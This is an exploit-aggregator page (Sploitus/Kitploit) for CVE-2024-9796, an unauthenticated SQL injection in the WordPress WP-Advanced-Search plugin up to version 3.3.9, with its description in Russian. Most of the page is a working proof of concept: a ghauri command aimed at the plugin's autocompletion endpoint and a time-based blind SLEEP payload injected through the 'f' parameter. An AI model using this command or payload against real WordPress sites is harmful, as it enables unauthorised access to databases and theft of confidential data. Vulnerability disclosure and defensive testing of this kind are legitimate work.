Sploitus

Exploit for CVE-2024-9796

kitploit · 2026-09-05

Exploit Code

MARKDOWN35 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RANDOMROBBIEBF-CVE-2024-9796
# CVE-2024-9796

WordPress WP-Advanced-Search <= 3.3.9 - Неавторизованная SQL-инъекция

# Описание

Плагин WordPress WP-Advanced-Search уязвим к SQL-инъекции во всех версиях до 3.3.9 включительно из-за недостаточного экранирования предоставленного пользователем параметра и отсутствия достаточной подготовки существующего SQL-запроса. Это позволяет неавторизованным злоумышленникам добавлять дополнительные SQL-запросы в уже существующие запросы, которые могут быть использованы для извлечения конфиденциальной информации из базы данных.

root@kitploit:~
    
    
    Type: plugin
    CVSS Score: 7.5
    CVE: CVE-2024-9796
    Slug: wp-advanced-search
    

Ссылка для скачивания: Скачать wp-advanced-search версии 3.3.9

## #POC

root@kitploit:~
    
    
    ghauri -u "https://wpscan-vulnerability-test-bench.ddev.site/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?t=wp_autosuggest&f=words&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=19692269759899"
    

root@kitploit:~
    
    
    Parameter: f (GET)
        Type: time-based blind
        Title: MySQL >= 5.0.12 time-based blind (IF - comment)
        Payload: t=wp_autosuggest&f=if(now()=sysdate(),SLEEP(9),0)-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853'